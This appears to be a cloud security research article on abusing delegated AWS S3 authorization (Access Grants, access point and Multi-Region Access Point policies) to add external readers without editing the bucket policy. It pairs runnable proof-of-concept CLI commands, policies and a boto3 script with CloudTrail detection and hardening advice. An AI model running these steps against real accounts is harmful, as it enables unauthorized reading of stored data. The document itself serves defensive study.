An attacker who controls a delegated grant or access point policy may be able to authorize data access without permission to edit the bucket policy itself. An unchanged bucket policy is therefore not proof that the set of authorized readers is unchanged. The opportunity comes from existing delegation, not from bypassing S3 authorization.

Access Grants depends on the registered-location role’s effective S3 permissions; same-account access can be allowed by its IAM policy without an affirmative bucket-policy Allow. Access point access instead depends on authorization through both the access point and bucket. Applicable bucket-policy denies still matter in either path.[1][2][3]

Credentials or access point policies

S3 Access Grants returns scoped temporary credentials through a registered-location role. Regional and Multi-Region Access Points instead evaluate their resource policies alongside the underlying bucket policy.

flowchart LR
    A([External principal]) --> G[S3 Access Grants]
    A --> P[S3 access point]
    A --> M[Multi-Region Access Point]
    G --> C(Temporary location-role session)
    C --> B[S3 objects]
    P --> B
    M --> B
    L[Effective location-role permissions] --> C
    D[Bucket authorization for access points] --> P
    D --> M
    class A principal
    class G,P,M,B,D,L awsResource
    class C credential
Access Grants uses a location-role session; access point policies authorize the caller alongside bucket authorization.
Implementation Changed resource Caller identity at object access Required bucket-side condition
S3 Access Grants Instance policy and access grant Registered-location role session Location role can access the target data
Regional access point Access point policy External principal Bucket policy delegates to the access point
Multi-Region Access Point Multi-Region Access Point policy External principal Every routed bucket permits the operation

Applicable explicit denies prevail, but evaluate them against the identity making each request. The Access Grants credential requester and the location-role session making object requests have different identity-policy boundaries. Service control policies constrain covered member-account principals, not every external reader of a member-account bucket; permissions boundaries likewise apply to their attached identities. Resource policies, AWS Key Management Service (KMS) key policies, and endpoint policies apply where relevant to the request. S3 Block Public Access is a separate service control, not a blanket ban on named cross-account access.[2:1][1:1][4][5]

S3 Access Grants credentials

S3 Access Grants maps a grantee to a bucket, prefix, or object. When the grantee calls GetDataAccess, S3 verifies the grant, assumes the registered-location role, and returns an AWS Security Token Service (STS) session constrained by the matched grant and requested permission. The requested target is not necessarily the issued scope: Default privilege returns the closest matching grant scope, while Minimal narrows it to the requested target. For cross-account callers, the Access Grants instance resource policy must also permit the request.[6][7][8]

Run the S3 Access Grants proof of concept

The Access Grants example assumes an existing instance and registered location that covers the target bucket. Save an instance policy that permits the external role to request credentials as instance-policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "<EXTERNAL_ROLE_ARN>"
      },
      "Action": "s3:GetDataAccess",
      "Resource": "<ACCESS_GRANTS_INSTANCE_ARN>"
    }
  ]
}

Apply the policy, create a read grant, and request a 15-minute session as the external role:

aws s3control put-access-grants-instance-resource-policy \
  --account-id "$BUCKET_OWNER_ACCOUNT_ID" \
  --policy file://instance-policy.json

aws s3control create-access-grant \
  --account-id "$BUCKET_OWNER_ACCOUNT_ID" \
  --access-grants-location-id "$LOCATION_ID" \
  --access-grants-location-configuration "S3SubPrefix=$GRANT_SUBPREFIX" \
  --grantee "GranteeType=IAM,GranteeIdentifier=$EXTERNAL_ROLE_ARN" \
  --permission READ

AWS_PROFILE=external aws s3control get-data-access \
  --account-id "$BUCKET_OWNER_ACCOUNT_ID" \
  --target "s3://$BUCKET/$PREFIX" \
  --permission READ \
  --privilege Minimal \
  --duration-seconds 900

GetDataAccess returns temporary credentials for the registered-location role, subject to the issued scope and applicable authorization policies. The caller can request a duration from 15 minutes to 12 hours; a logged duration request is not an observed session expiration.[8:1]

Regional access point policies

Unlike Access Grants, an access point authorizes the external principal directly, so both its policy and the underlying bucket policy must permit the request.[3:1]

Adding a reader at the access point

A storage platform account owns a reporting bucket whose policy delegates access decisions to same-account access points through the s3:DataAccessPointAccount condition key. As a result, application teams can manage narrow access point policies instead of editing the central bucket policy.

After gaining a storage automation role with CreateAccessPoint and PutAccessPointPolicy, the attacker creates a new access point and gives an external role s3:GetObject. That role already has an identity policy allowing the same action, but effective access still depends on the applicable authorization controls.

A review limited to GetBucketPolicy, however, shows only the expected delegation and misses the newly created reader.

Run the regional access point proof of concept

This example assumes the bucket policy already permits object reads through access points owned by BUCKET_OWNER_ACCOUNT_ID. Save the new access point policy as access-point-policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "<EXTERNAL_ROLE_ARN>"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:<REGION>:<BUCKET_OWNER_ACCOUNT_ID>:accesspoint/delegated-reader/object/*"
    }
  ]
}

Create the access point, attach the policy, and read through its ARN:

aws s3control create-access-point \
  --account-id "$BUCKET_OWNER_ACCOUNT_ID" \
  --name delegated-reader \
  --bucket "$BUCKET"

aws s3control put-access-point-policy \
  --account-id "$BUCKET_OWNER_ACCOUNT_ID" \
  --name delegated-reader \
  --policy file://access-point-policy.json

ACCESS_POINT_ARN="arn:aws:s3:$AWS_REGION:$BUCKET_OWNER_ACCOUNT_ID:accesspoint/delegated-reader"

AWS_PROFILE=external aws s3api get-object \
  --bucket "$ACCESS_POINT_ARN" \
  --key "$OBJECT_KEY" \
  "$OUTPUT_FILE"

The external role also needs an identity policy allowing s3:GetObject through the access point, after which S3 evaluates that policy, the access point policy, the bucket delegation, Block Public Access, and any applicable explicit denies.[9]

Multi-Region Access Point policies

A Multi-Region Access Point extends the same access-point model across buckets in multiple Regions. Because its policy is evaluated with the caller’s identity policy and the policy of whichever bucket receives the request, an existing bucket delegation allows one policy replacement to add an external reader across several data replicas.[5:1]

Run the Multi-Region Access Point proof of concept

The policy update is asynchronous and is always routed through the US West (Oregon) Region. This Python call replaces the policy on an existing Multi-Region Access Point:

import json
import os

import boto3


account_id = os.environ["BUCKET_OWNER_ACCOUNT_ID"]
external_role = os.environ["EXTERNAL_ROLE_ARN"]
mrap_alias = os.environ["MRAP_ALIAS"]

policy = {
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {"AWS": external_role},
            "Action": ["s3:ListBucket", "s3:GetObject"],
            "Resource": [
                f"arn:aws:s3::{account_id}:accesspoint/{mrap_alias}",
                f"arn:aws:s3::{account_id}:accesspoint/{mrap_alias}/object/*",
            ],
        }
    ],
}

response = boto3.client("s3control", region_name="us-west-2").put_multi_region_access_point_policy(
    AccountId=account_id,
    Details={
        "Name": os.environ["MRAP_NAME"],
        "Policy": json.dumps(policy),
    },
)
print(response["RequestTokenARN"])

After DescribeMultiRegionAccessPointOperation reports success, the external role can address the global alias:

AWS_PROFILE=external aws s3api get-object \
  --bucket "$MRAP_ALIAS" \
  --key "$OBJECT_KEY" \
  "$OUTPUT_FILE"

The request succeeds only when the selected underlying bucket also permits it. One restrictive bucket policy can therefore cause the same Multi-Region Access Point request to succeed in one Region and fail when routing selects another.[10]

Tracing delegated object reads

Connect each delegated authorization change to the object reads it permits. Include the Access Grants instance, regional access point, or Multi-Region Access Point policy in current-state inventory.

Event source Event name Detection value
s3.amazonaws.com PutAccessGrantsInstanceResourcePolicy, CreateAccessGrant, GetDataAccess Records instance-policy changes, grant creation, and credential requests; not object reads.
s3.amazonaws.com CreateAccessPoint, PutAccessPointPolicy Records regional endpoint creation or policy changes; verify the resulting configuration.
s3.amazonaws.com PutMultiRegionAccessPointPolicy Requests asynchronous replacement of the MRAP policy, not underlying bucket policies.
s3.amazonaws.com GetObject, ListObjects, ListObjectsV2 Records body-read or listing requests with data-event coverage appropriate to the resource type; inspect results before claiming access.

GetDataAccess is a read-only Management event, so retain read-management coverage as well as separately enabled S3 Data events. Keep the caller and requested target, permission, and duration. This illustrative fragment uses fields shown in AWS’s Transfer Family event example, which has responseElements: null: it does not expose issued credentials, expiration, or matched grant scope. Do not require privilege or auditContext JSON paths without confirming them in your telemetry.[11]

{
  "eventSource": "s3.amazonaws.com",
  "eventName": "GetDataAccess",
  "readOnly": true,
  "managementEvent": true,
  "eventCategory": "Management",
  "responseElements": null,
  "userIdentity": {
    "arn": "<external role session ARN>"
  },
  "requestParameters": {
    "target": "s3://<bucket>/<prefix>",
    "permission": "READ",
    "durationSeconds": 900
  }
}

For Access Grants, associate the credential request with the relevant grant, instance policy, registered location, and location role. Role plus event time gives a candidate correlation, not a unique vended session: multiple grantees can share that role. Require corroborating identity evidence in the object events before attributing reads. Transfer Family’s userIdentity.onBehalfOf supports end-user attribution in that integration; do not assume every IAM-grantee event has the same identity shape.[11:1]

Use the requested duration as an initial event-time search horizon because it reflects the caller’s intended session lifetime, not an observed expiration or exposure cutoff. Reconcile late and out-of-order events, and extend the search for renewed issuance, credible activity, or unresolved session lifetime.

For access point policies, separate the submitted change, established configuration, and observed reads. In particular, PutMultiRegionAccessPointPolicy is asynchronous: confirm operation completion and the resulting MRAP policy, while evaluating the routed bucket policy separately. It does not rewrite bucket policies.[10:1][5:2]

Select listing events by resource type: AWS documents ListObjects for general-purpose bucket object resources and both ListObjects and ListObjectsV2 for access points. A listing is not an object-body read. Data events are not enabled by default or included in CloudTrail Event history.[12]

Prioritize the review in this order:

  1. Reader and account boundary. Compare grantees, location roles, access point owners, and external principals with those approved for the data. Retain the policy author to establish who changed access.
  2. Authorized scope and observed reads. Review location-role permissions, matched grants, bucket delegations, and object prefixes, then compare attributable reads with approved scope.
  3. Request context. Use requested permission and duration, network origin, and the Multi-Region Access Point alias to assess the activity. Treat privilege as request context only where recorded, not as proof of issued scope.

Keep a current policy inventory because delegated access can outlive management-event retention.

Restricting delegated S3 administration

  • Separate administration of bucket delegations from PutAccessGrantsInstanceResourcePolicy, CreateAccessGrant, PutAccessPointPolicy, and PutMultiRegionAccessPointPolicy.
  • Scope Access Grants registered locations and their IAM roles to the smallest required bucket or prefix.
  • Limit bucket delegation with s3:DataAccessPointAccount and s3:DataAccessPointArn conditions instead of permitting arbitrary access points.
  • Require virtual private cloud (VPC) network origins for access points where public endpoints are unnecessary, and retain S3 Block Public Access.
  • Review external principals on Access Grants and access point policies. IAM Access Analyzer covers regional and Multi-Region access points through bucket analysis within its documented account and Region boundaries; it does not analyze an out-of-account access point’s policy. Do not assume coverage includes Access Grants or that a finding’s absence proves containment: MRAP changes are evaluated on a six-hour cycle.[13]
  • Enable S3 object data events for sensitive buckets and access points, then correlate reads with the policy or grant that authorized them.
  • During containment, separate preventing future credential issuance from denying existing sessions’ effective data access. Remove unauthorized grants or instance-policy permissions to stop further issuance, and remove unauthorized access point policy statements. For existing location-role sessions, account for resource-policy grants as well as role permissions; removing one identity-policy Allow may leave access. Apply appropriate explicit denies or session revocation, allow for policy propagation, and verify effective denial rather than assuming grant deletion instantly invalidates credentials.[14]

References


  1. Amazon S3 User Guide, Register a location with S3 Access Grants. ↩︎ ↩︎

  2. IAM User Guide, Policy evaluation logic. ↩︎ ↩︎

  3. Amazon S3 User Guide, Configuring IAM policies for using access points. ↩︎ ↩︎

  4. AWS Organizations User Guide, Resource control policies and principal/resource boundaries. ↩︎

  5. Amazon S3 User Guide, Multi-Region Access Point permissions. ↩︎ ↩︎ ↩︎

  6. Amazon S3 User Guide, S3 Access Grants cross-account access. ↩︎

  7. Amazon S3 User Guide, Request access through S3 Access Grants. ↩︎

  8. Amazon S3 API Reference, GetDataAccess. ↩︎ ↩︎

  9. Amazon S3 User Guide, Creating an access point. ↩︎

  10. Amazon S3 API Reference, PutMultiRegionAccessPointPolicy. ↩︎ ↩︎

  11. AWS Transfer Family User Guide, CloudTrail GetDataAccess event example. ↩︎ ↩︎

  12. Amazon S3 User Guide, Logging S3 API calls with CloudTrail. ↩︎

  13. IAM User Guide, IAM Access Analyzer supported resource types for external and internal access. ↩︎

  14. IAM User Guide, Disabling permissions for temporary security credentials. ↩︎